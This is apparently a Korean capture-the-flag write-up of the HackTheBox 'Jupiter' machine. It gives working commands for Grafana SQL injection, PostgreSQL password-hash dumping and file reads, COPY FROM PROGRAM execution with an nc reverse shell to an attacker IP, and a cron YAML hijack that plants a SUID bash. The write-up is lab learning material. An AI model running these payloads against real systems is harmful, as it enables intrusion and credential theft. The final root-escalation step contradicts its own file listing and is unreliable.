[HTB] jupiter

쥬스몬·2023년 7월 24일
0

HackTheBox

목록 보기
26/37

1. 정보 수집

1.1. 포트스캔

머신을 발급받고 자연스럽게 포트 스캔을 진행했고 스캔 결과로 22/tcp, 80/tcp포트가 오픈된것을 확인하였다.

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 10:15 KST
Nmap scan report for jupiter.htb (10.10.11.216)
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.57 seconds

1.2. Virtual Host 스캔

웹 서비스로 확인된 80/tcp(jupiter.htb)에서 서버와 상호 상용할 수 있는 어떠한 기능도 발견되지않아 Virtual Host를 스캔하였다.

스캔 결과로 kiosk.jupiter.htb라는 vhost를 발견할 수 있었다.

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://jupiter.htb
 :: Wordlist         : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/vhost-wordlist.txt
 :: Header           : Host: FUZZ.jupiter.htb
 :: Output file      : vhost.jupiter.htb.csv
 :: File format      : csv
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
 :: Filter           : Response words: 0
________________________________________________

kiosk                   [Status: 200, Size: 34390, Words: 2150, Lines: 212, Duration: 355ms]
:: Progress: [20575/20575] :: Job [1/1] :: 315 req/sec :: Duration: [0:01:17] :: Errors: 0 ::

2. kiosk.jupiter.htb (garafana)

확인된 vhost에 접근 시 grafana로 운영중인 서비스에 접근할 수 있었다.

로그인 페이지에서 확인된 버전 정보는 grafana v9.5.2 (cfcea75916)로 확인됐다.

해당 버전에서 알려진 CVE를 서칭해봤으나 사용할만한 정보는 없었으며, 일반적인 계정을 입력해도 로그인이 불가능하였다.

이후 송수신되는 패킷을 살펴보다 /api/ds/query 경로에 아래와 같은 json을 전달하여 DB 쿼리를 실행하여 값을 전달받는것을 확인하였다.

2.1. SQLi

해당 이슈는 grafana에서 정상 기능이라고 인정한 기능이다. 즉 로그인 이후 세션이 검증되는 곳에서 사용해야될 기능이지만 kiosk 호스트에서는 인증없이도 행성 관련 정보를 대시보드 형태로 뿌려주기 위해 위와 같은 쿼리를 전송한다.

2.1.1. DBMS 정보

이를 역으로 이용하여 SQLi 공격을 진행한다. 가장 먼저 DBMS 버전 확인을 위해 sqlmap을 사용하였으며, 조회된 DBMS는 PostgreSQL로 확인됐다.

juicemon jupiter.htb % sqlmap -r req.txt --level 5 --risk=3 --dbs

...
...
...
[11:01:51] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: PostgreSQL

[11:01:51] [INFO] fetching database (schema) names
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public
...
...
...

2.1.2. 데이터베이스 정보

이후 sqlmap으로 위에서 확인된 public 데이터베이스를 확인해봤으나 사용할만한 정보는 발견되지 않았다.

다시 수동으로 돌아와 PostgreSQL에 대한 정보를 수집한다. 매번 여러 종류의 DB 명령을 기억하기 어렵기에 PayloadsAllTheThings - PostgreSQL injection를 참고한다.

2.1.3. 정보 수집

PostgreSQL 버전 정보 : select version()

PostgreSQL 14.8 (Ubuntu 14.8-0ubuntu0.22.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, 64-bit

DB 현재 유저 : select current_user

grafana_viewer

DB 유저의 패스워드 해시 : select usename, passwd FROM pg_shadow

SCRAM-SHA-256$4096:K9IJE4h9f9+tr7u7AZL76w==$qdrtC1sThWDZGwnPwNctrEbEwc8rFpLWYFVTeLOy3ss=:oD4gG69X8qrSG4bXtQ62M83OkjeFDOYrypE3tUv0JOY= (grafana_viewer)

데이터베이스 리스팅 : select datname FROM pg_database

postgres, moon_namesdb, template1, template0

현재 계정의 슈퍼유저 여부 확인 : SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

true

2.2. 로컬 파일 접근

현재 연결된 DB 유저가 슈퍼 유저인것을 확인하였다. 로컬 파일에 접근하여 /etc/passwd를 읽는다.

CREATE TABLE temp(t TEXT); COPY temp FROM '/etc/passwd'; SELECT * FROM temp;

"root:x:0:0:root:/root:/bin/bash","daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin","bin:x:2:2:bin:/bin:/usr/sbin/nologin","sys:x:3:3:sys:/dev:/usr/sbin/nologin","sync:x:4:65534:sync:/bin:/bin/sync","games:x:5:60:games:/usr/games:/usr/sbin/nologin","man:x:6:12:man:/var/cache/man:/usr/sbin/nologin","lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin","mail:x:8:8:mail:/var/mail:/usr/sbin/nologin","news:x:9:9:news:/var/spool/news:/usr/sbin/nologin","uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin","proxy:x:13:13:proxy:/bin:/usr/sbin/nologin","www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin","backup:x:34:34:backup:/var/backups:/usr/sbin/nologin","list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin","irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin","gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin","nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin","_apt:x:100:65534::/nonexistent:/usr/sbin/nologin","systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin","systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin","messagebus:x:103:104::/nonexistent:/usr/sbin/nologin","systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin","pollinate:x:105:1::/var/cache/pollinate:/bin/false","sshd:x:106:65534::/run/sshd:/usr/sbin/nologin","syslog:x:107:113::/home/syslog:/usr/sbin/nologin","uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin","tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin","tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false","landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin","usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin","juno:x:1000:1000:juno:/home/juno:/bin/bash","lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false","fwupd-refresh:x:113:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin","postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash","grafana:x:115:121::/usr/share/grafana:/bin/false","jovian:x:1001:1002:,,,:/home/jovian:/bin/bash","_laurel:x:998:998::/var/log/laurel:/bin/false"

2.3. RCE

HackTricks - Pentesting Postgresql
(RCE)
의 게시글에서 PostgreSQL 9.3 부터 슈퍼 유저와 그룹 구성원 한정으로 코드를 Command를 실행할 수 있는것을 확인하였으며 현재 쿼리를 실행할 수 있는 계정은 슈퍼 유저로 확인되었기에 RCE를 시도한다.

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

RCE가 정상적으로 작동하여 postgre 계정에서 실행된 id 커멘드의 결과를 확인할 수 있었다.

2. 쉘 접근 (postgre)

위에서 확인한 PostgreSQL RCE 트릭을 통해 리버스 커넥션을 맺는 커멘드를 전달하여 쉘에 접근한다.

사용한 SQL 구문은 아래와 같다.

DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 공격자IP 공격자PORT >/tmp/f';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
postgres@jupiter:/var/lib/postgresql/14/main$  id
uid=114(postgres) gid=120(postgres) groups=120(postgres),119(ssl-cert)

💡 공격자 PC에서 nc를 통해 리버스 커넥션을 리스닝하고 RCE 페이로드를 전달 후 약간의 시간이 지나면 리버스 커넥션 쉘이 끊기는 현상이 있었다. 예상하기로는 DB 쿼리 실행에 대한 응답이 없어 Nginx에서 504(Gateway Time-out)이 발생하여 연결된 세션이 끊어지는것으로 판단되어 쉘에 접근하자마자 새로운 리버스 커넥션을 맺는 커멘드를 백그라운드로 실행하였다.

2.1. linpeas

쉘에 접근하자마자 linpeas를 업로드하여 실행하니 PostgreSQL 쿼리로도 확인 했던 /etc/passwd에서의 일반유저 juno, jovian을 확인할 수 있었다.

uid=0(root) gid=0(root) groups=0(root)
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)
uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)

추가적으로 jovian 계정으로 jupiter-notebook 이 실행중이였으며, 인자로 전달되는 /opt/solar-flares/flares.ipynb은 권한이 존재하지 않아 접근할 수 없었다.

jovian      1159  0.0  1.6  81344 66492 ?        S    Jun04   0:00 /usr/bin/python3 /usr/local/bin/jupyter-notebook --no-browser /opt/solar-flares/flares.ipynb
postgres@jupiter:/opt$ ls -al
total 12
drwxr-xr-x  3 root   root    4096 May  4 18:59 .
drwxr-xr-x 19 root   root    4096 May  4 18:59 ..
drwxrwx---  4 jovian science 4096 May  4 18:59 solar-flares

2.2. pspy64

linpeas로 일반 유저를 탈취할 수 있는 방법을 찾지 못해 pspy64를 실행하였더니 juno 계정으로 스케쥴러가 동작하고있었다.

내용을 확인하니 juno 계정 홈디렉터리에 존재하는 shadow simulator 관련 쉘 스크립트를 실행한다.

2023/06/09 06:18:01 CMD: UID=1000  PID=1846   | /usr/sbin/CRON -f -P
2023/06/09 06:18:01 CMD: UID=1000  PID=1847   | /bin/bash /home/juno/shadow-simulation.sh
2023/06/09 06:18:01 CMD: UID=1000  PID=1848   | rm -rf /dev/shm/shadow.data
2023/06/09 06:18:01 CMD: UID=1000  PID=1849   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/06/09 06:18:01 CMD: UID=1000  PID=1852   | sh -c lscpu --online --parse=CPU,CORE,SOCKET,NODE
2023/06/09 06:18:01 CMD: UID=1000  PID=1853   | lscpu --online --parse=CPU,CORE,SOCKET,NODE
2023/06/09 06:18:01 CMD: UID=1000  PID=1858   | /usr/bin/python3 -m http.server 80
2023/06/09 06:18:01 CMD: UID=1000  PID=1859   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/06/09 06:18:01 CMD: UID=1000  PID=1861   | /usr/bin/curl -s server
2023/06/09 06:18:01 CMD: UID=1000  PID=1863   | /usr/bin/curl -s server
2023/06/09 06:18:02 CMD: UID=1000  PID=1868   | cp -a /home/juno/shadow/examples/http-server/network-simulation.yml /dev/shm/

쉘 스크립트에 작성된 내용인지는 확인되지 않지만 이후 shadow의 인자로 /dev/shm/network-simulation.yml를 전달하여 실행한다.

해당 yaml 파일의 내용을 확인하면 다음과 같다. shadow를 사용해본 경험이 없어 잘 모르겠지만 yaml 내용 중 processes 부분에서 특정 코드를 실행한다.

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s

결과적으로 yaml에서 path와 args 변경이 가능하다면 juno 계정의 권한으로 명령 실행이 가능하며, 운좋게도 해당 yaml 파일의 권한에 Write 권한이 존재한다.

postgres@jupiter:/var/lib/postgresql/14/main$  ls -al /dev/shm/network-simulation.yml
-rw-rw-rw- 1 juno juno 815 Mar  7 12:28 /dev/shm/network-simulation.yml

2.3. LPE (juno)

테스트를 위해 touch /tmp/pwned 명령을 실행하는 yaml을 작성한다.

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/touch
      args: /tmp/pwned
      start_time: 5s

해당 yaml을 /dev/shm/network-simulation.yml에 덮어쓰고 일정 시간이 경과하니 shadow가 실행되며 코드가 실행되어 pwned 파일이 juno 계정의 소유로 생성된것을 확인할 수 있었다.

postgres@jupiter:/tmp$ ls -al /tmp/pwned
-rw-rw-r-- 1 juno juno 0 Jun 12 03:00 /tmp/pwned

이후 juno 계정의 쉘에 접근하기 위해 리버스 커넥션을 맺는 커멘드를 yaml에 작성하고 테스트했지만 어째서인지 명령은 실행되지만 공격자 PC로 세션이 맺어지지 않았다.

많은 테스트를 진행했지만 쉘이 맺어지지 않아 bash 트릭을 사용한다. 먼저 /bin/bash 파일을 /tmp 경로에 복사하여 juno 계정 소유의 bash 파일을 생성하는 yaml을 작성한다.

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/cp
      args: /bin/bash /tmp/bash
      start_time: 5s

이후 동일하게 /dev/shm/network-simulation.yml에 덮어쓰고 약간의 시간이 지나니 /tmp/bashjuno 계정의 소유로 생성된 것을 확인할 수 있었다.

postgres@jupiter:/tmp$ ls -al /tmp/bash
-rwxr-xr-x 1 juno juno 1396520 Jun 12 03:08 

다음은 복사한 /tmp/bash 파일에 SetUID, SetGID 권한을 부여하는 yaml을 작성하고 동일한 방식으로 파일을 덮어쓰고 실행되길 기다린다.

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/chmod
      args: u+s,g+s /tmp/bash
      start_time: 5s
postgres@jupiter:/tmp$ ls -al /tmp/bash
-rwsr-sr-x 1 juno juno 1396520 Jun 12 03:08 

정리하면 juno 계정의 권한으로 실행되는 스케쥴러에 특정 yaml 파일을 shadow smulator를 통해 실행되는 yaml에 쓰기 권한이 존재하여 juno 계정의 권한으로 /bin/bash 파일을 복사하고 복사된 /tmp/bash 파일에 SetUID, SetGID 권한을 부여하여 /bin/bash 트릭을 이용하여 juno 계정으로 권한 상승이 가능했다.

postgres@jupiter:/tmp$ /tmp/bash -p
bash-5.1$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) egid=1000(juno) groups=1000(juno),119(ssl-cert),120(postgres)

3. 쉘 접근 (juno)

/home/juno/.ssh/authorized_keys에 공격자가 생성한 공개키를 덮어써서 ssh 쉘에 접근한다.

juicemon jupiter.htb % ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/Users/junsoo.jo/.ssh/id_rsa): ./juicemon
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./juicemon
Your public key has been saved in ./juicemon.pub
The key's randomart image is:
+---[RSA 3072]----+
|+++.*..o       .E|
|.+ =.++    o    +|
|+ o.o..   o .  o.|
|+=.. = o o   . . |
|*.o.+ + S     . .|
|.*.. o o .     . |
| .= o   .        |
| .oo             |
|.o.              |
+----[SHA256]-----+
bash-5.1$ wget http://공격자IP/juicemon.pub
bash-5.1$ cp ./tmp/juicemon.pub /home/juno/.ssh/authorized_keys

3.1. LPE (jovian)

juno 계정에 쉘에 접근했다. 다시한번 juno 계정으로 linpeas를 실행해서 postgre 계정과의 차이를 확인해봤지만 의미있는 정보는 찾을 수 없었다. 하지만 기존 결과에서도 확인했던 jupyter-notebook에 인자로 전달되는 /opt/solar-flares/ 경로에 접근할 수 있다.

jupyter-notebook은 $HOME/.jupyter/jupyter_notebook_config.py의 내용 중 c.NotebookApp.port를 수정하지 않는다면 기본적은로 8888/tcp로 서비스 된다.

juno@jupiter:~$ netstat -ntlp;
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

쉘에서 웹 서비스 접근이 불편하니 frp를 통해 리버스 프록시를 구성하고 8888/tcp 포트에 접근하니 패스워드나 토큰 등이 필요한것으로 보인다.

관련해서 긴 시간동안 token bypass나 CVE 정보를 찾아보았지만 사용할만한 정보는 찾지 못했다.

다시 /opt/solar-flares/로 돌아와 logs 디렉터리에서 수많은 로그 파일을 확인 할 수 있었다.

juno@jupiter:/opt/solar-flares/logs$ ls -al
total 124
drwxrwxr-t 2 jovian science 4096 Jun 12 01:39 .
drwxrwx--- 4 jovian science 4096 May  4 18:59 ..
-rw-rw-r-- 1 jovian science 3137 Mar  9 11:59 jupyter-2023-03-08-14.log
-rw-rw-r-- 1 jovian science 1166 Mar  8 11:38 jupyter-2023-03-08-36.log
-rw-rw-r-- 1 jovian science 1197 Mar  8 11:38 jupyter-2023-03-08-37.log
-rw-rw-r-- 1 jovian science 4920 Mar  8 13:14 jupyter-2023-03-08-38.log
-rw-rw-r-- 1 jovian science 1166 Mar  9 12:12 jupyter-2023-03-09-11.log
-rw-rw-r-- 1 jovian science 1166 Mar  9 13:34 jupyter-2023-03-09-24.log
-rw-rw-r-- 1 jovian science 1166 Mar  9 12:10 jupyter-2023-03-09-59.log
-rw-rw-r-- 1 jovian science 1166 Mar 10 17:37 jupyter-2023-03-10-25.log
-rw-rw-r-- 1 jovian jovian  1166 Mar 10 17:44 jupyter-2023-03-10-42.log
-rw-rw-r-- 1 jovian jovian  1166 Apr 13 10:50 jupyter-2023-04-13-43.log
-rw-rw-r-- 1 jovian jovian  1167 Apr 14 14:30 jupyter-2023-04-14-27.log
-rw-rw-r-- 1 jovian jovian   333 May  4 12:02 jupyter-2023-05-04-02.log
-rw-rw-r-- 1 jovian jovian  1167 May  4 15:44 jupyter-2023-05-04-04.log
-rw-rw-r-- 1 jovian jovian  1210 May  4 12:06 jupyter-2023-05-04-06.log
-rw-rw-r-- 1 jovian jovian  2417 May  4 12:10 jupyter-2023-05-04-07.log
-rw-rw-r-- 1 jovian jovian  1166 May  4 16:56 jupyter-2023-05-04-08.log
-rw-rw-r-- 1 jovian jovian  1167 May  4 17:27 jupyter-2023-05-04-20.log
-rw-rw-r-- 1 jovian jovian  1167 May  4 19:41 jupyter-2023-05-04-31.log
-rw-rw-r-- 1 jovian jovian  1167 May  4 19:44 jupyter-2023-05-04-43.log
-rw-rw-r-- 1 jovian jovian  2333 May  4 16:08 jupyter-2023-05-04-45.log
-rw-rw-r-- 1 jovian jovian  1167 May  4 17:19 jupyter-2023-05-04-57.log
-rw-rw-r-- 1 jovian jovian  1167 May  5 12:08 jupyter-2023-05-05-03.log
-rw-rw-r-- 1 jovian jovian  1167 May  5 12:00 jupyter-2023-05-05-54.log
-rw-rw-r-- 1 jovian jovian  1167 May 30 13:52 jupyter-2023-05-30-46.log
-rw-rw-r-- 1 jovian jovian  1167 May 30 13:53 jupyter-2023-05-30-53.log
-rw-rw-r-- 1 jovian jovian  1167 Jun  6 20:40 jupyter-2023-06-06-39.log
-rw-rw-r-- 1 jovian jovian  1167 Jun  7 15:13 jupyter-2023-06-07-05.log
-rw-rw-r-- 1 jovian jovian  1660 Jun 12 03:58 jupyter-2023-06-12-39.log

가장 최신의 로그 파일의 내용 중 특정 token값이 인자로 전달된 로그 기록을 확인할 수 있었다.

juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-06-12-39.log
[W 01:40:01.096 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 01:40:01.104 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 01:40:01.104 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 01:40:01.104 NotebookApp] http://localhost:8888/?token=메롱메롱토큰
[I 01:40:01.104 NotebookApp]  or http://127.0.0.1:8888/?token=메롱메롱토큰
[I 01:40:01.104 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 01:40:01.109 NotebookApp] No web browser found: could not locate runnable browser.
[C 01:40:01.109 NotebookApp] 
    
    To access the notebook, open this file in a browser:
        file:///home/jovian/.local/share/jupyter/runtime/nbserver-1164-open.html
    Or copy and paste one of these URLs:
        http://localhost:8888/?token=메롱메롱토큰
     or http://127.0.0.1:8888/?token=메롱메롱토큰
[I 03:36:36.850 NotebookApp] 302 GET / (127.0.0.1) 1.750000ms
[W 03:36:39.567 NotebookApp] 405 HEAD / (127.0.0.1) 0.840000ms referer=None
[W 03:36:49.300 NotebookApp] 403 POST / (127.0.0.1): '_xsrf' argument missing from POST
[W 03:36:49.301 NotebookApp] 403 POST / (127.0.0.1) 1.590000ms referer=None
[W 03:36:57.512 NotebookApp] 403 POST /test (127.0.0.1): '_xsrf' argument missing from POST
[W 03:36:57.545 NotebookApp] 403 POST /test (127.0.0.1) 34.870000ms referer=None
[I 03:58:03.560 NotebookApp] 302 GET / (127.0.0.1) 1.570000ms
[I 03:58:03.842 NotebookApp] 302 GET /tree? (127.0.0.1) 2.480000ms

확인된 토큰을 통해 jupyter-notebook에 접근하니 사용가능한 토큰으로 정상 접근이 가능했다.

이후 내장된 iPython을 이용해 파이썬 코드를 실행 할 수 있다.

[참고]
https://www.helpnetsecurity.com/2017/01/26/jupyter-notebooks-security-hole/

이를 이용하여 리버스 커넥션을 맺는 코드를 실행한다.

4. 쉘 접근 (jovian)

juno 계정의 쉘에 접근했던 방식과 동일하게 ssh key를 생성해서 jovian 계정의 쉘에 접근한다.

4.1. LPE (root)

이번 머신에서 루팅은 매우 간단하다. 하지만 루팅을 위해 리버싱이 필요하다 생각하고 너무 많은 시간을 버렸다...

jovian 계정의 쉘에서 sudo 권한을 확인하면 아래와 같이 특정 바이너리를 실행할 수 있는 권한이 존재한다.

jovian@jupiter:~$ sudo -l
Matching Defaults entries for jovian on jupiter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack

jovian@jupiter:~$ file /usr/local/bin/sattrack
/usr/local/bin/sattrack: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c68bedeeb5dd99903454a774db56a7a533ce7ff4, for GNU/Linux 3.2.0, not stripped

저 바이너리의 권한은 아래와 같이 쓰기 권한이 존재한다.

jovian@jupiter:~$ ls -al /usr/local/bin/sattrack
-rwxr-xr-x 1 root root 1113632 Mar  8 12:07 /usr/local/bin/sattrack

/bin/bash$HOME/sattrack 경로로 복사하고 -p옵션을 주어 실행한다.

profile
블로그 이사 (https://juicemon-code.github.io/)

1개의 댓글

comment-user-thumbnail
2023년 7월 24일

많은 도움이 되었습니다, 감사합니다.

답글 달기